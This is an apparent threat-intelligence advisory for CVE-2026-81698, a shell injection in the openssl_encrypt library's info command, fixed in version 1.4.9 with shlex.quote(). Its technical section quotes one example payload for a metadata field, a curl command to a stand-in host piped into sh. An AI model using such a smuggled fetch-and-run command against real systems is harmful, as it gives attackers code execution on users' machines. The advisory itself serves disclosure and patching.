# CVE-2026-81698: openssl_encrypt shell injection in info command

Source: https://junglewise.ai/threats/cve-2026-81698-openssl-encrypt-shell-injection-in-info-command  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-08-27. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2026-81698 · Severity: high · CVSS 7.5 · Published 2026-08-27

openssl_encrypt is a Python library for encrypting files with OpenSSL. The info command displays a reconstructed CLI command that users can copy and paste to recreate the encryption operation. A vulnerability allows attackers to inject shell commands into metadata fields (like pepper_name) that get printed without proper escaping, causing arbitrary code execution when a user pastes the printed command into a shell.

Technologies: [Jahlives Openssl Encrypt](https://junglewise.ai/threats/technologies/openssl-encrypt), [openssl-encrypt (PyPI)](https://junglewise.ai/threats/technologies/pypi-openssl-encrypt). Vendors: [Jahlives](https://junglewise.ai/threats/vendors/jahlives), [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2026-81698 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-81698 being exploited in the wild.

**How severe is CVE-2026-81698?** High severity, with a CVSS score of 7.5, published 27 August 2026.

**Which products and versions are affected?** Jahlives Openssl Encrypt before 1.4.9; openssl-encrypt (PyPI) ECOSYSTEM:introduced=0,fixed=1.4.9.

**Is there a fix for CVE-2026-81698?** Yes. openssl-encrypt (PyPI): upgrade to 1.4.9 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-81698 attacked?** It is attacked over the network, in a software library.

**Am I affected by CVE-2026-81698?** Check whether you run Jahlives Openssl Encrypt or openssl-encrypt (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- openssl-encrypt (PyPI): upgrade to 1.4.9 or later

  ```sh
  pip install "openssl-encrypt>=1.4.9"
  ```


## Technical details

This is an OS command injection vulnerability (CWE-78) in the _reconstruct_cli_from_metadata function. The vulnerability occurs because untrusted metadata fields (pepper_name, hsm_plugin, algorithm, cipher_chain, kdf_config.hkdf.info, argon2.type, randomx.mode, and numeric fields) are interpolated directly into shell command text without quoting. An attacker can craft a file with a malicious pepper_name value like 'work; curl -s http://evil/x | sh #' that, when displayed in the reconstructed CLI block, executes arbitrary commands if a user copies and pastes the output into a shell. The attack requires no authentication and relies on user interaction (pasting the command). The fix in version 1.4.9 applies shlex.quote() to all interpolated values to prevent argument breakout.

## Affected products

- jahlives openssl_encrypt before 1.4.9

## Identifiers

- CVE-2026-81698
- PYSEC-2026-3776

## Timeline

- 2026-08-27: disclosed
- 2026-08-27: patched: Version 1.4.9 released with shlex.quote() fix

## References

- [https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-gw2m-mj6q-59hc](https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-gw2m-mj6q-59hc)
- [https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-shell-injection-via-info-command](https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-shell-injection-via-info-command)

## Related threats

- [openssl_encrypt KDF cost parameter validation bypass](https://junglewise.ai/threats/cve-2026-81721-openssl-encrypt-kdf-cost-parameter-validation-bypass)
- [openssl_encrypt memory exhaustion in identity file protection block](https://junglewise.ai/threats/cve-2026-81720-openssl-encrypt-memory-exhaustion-in-identity-file-protection)
- [openssl_encrypt arbitrary code execution via plugin signature bypass](https://junglewise.ai/threats/cve-2026-81719-openssl-encrypt-arbitrary-code-execution-via-plugin-signature)
- [openssl_encrypt weak PBKDF2 parameters in keyfile encryption](https://junglewise.ai/threats/cve-2026-81718-openssl-encrypt-weak-pbkdf2-parameters-in-keyfile-encryption)
- [openssl_encrypt USB drive integrity bypass with fixed KDF salt](https://junglewise.ai/threats/cve-2026-81717-openssl-encrypt-usb-drive-integrity-bypass-with-fixed-kdf-salt)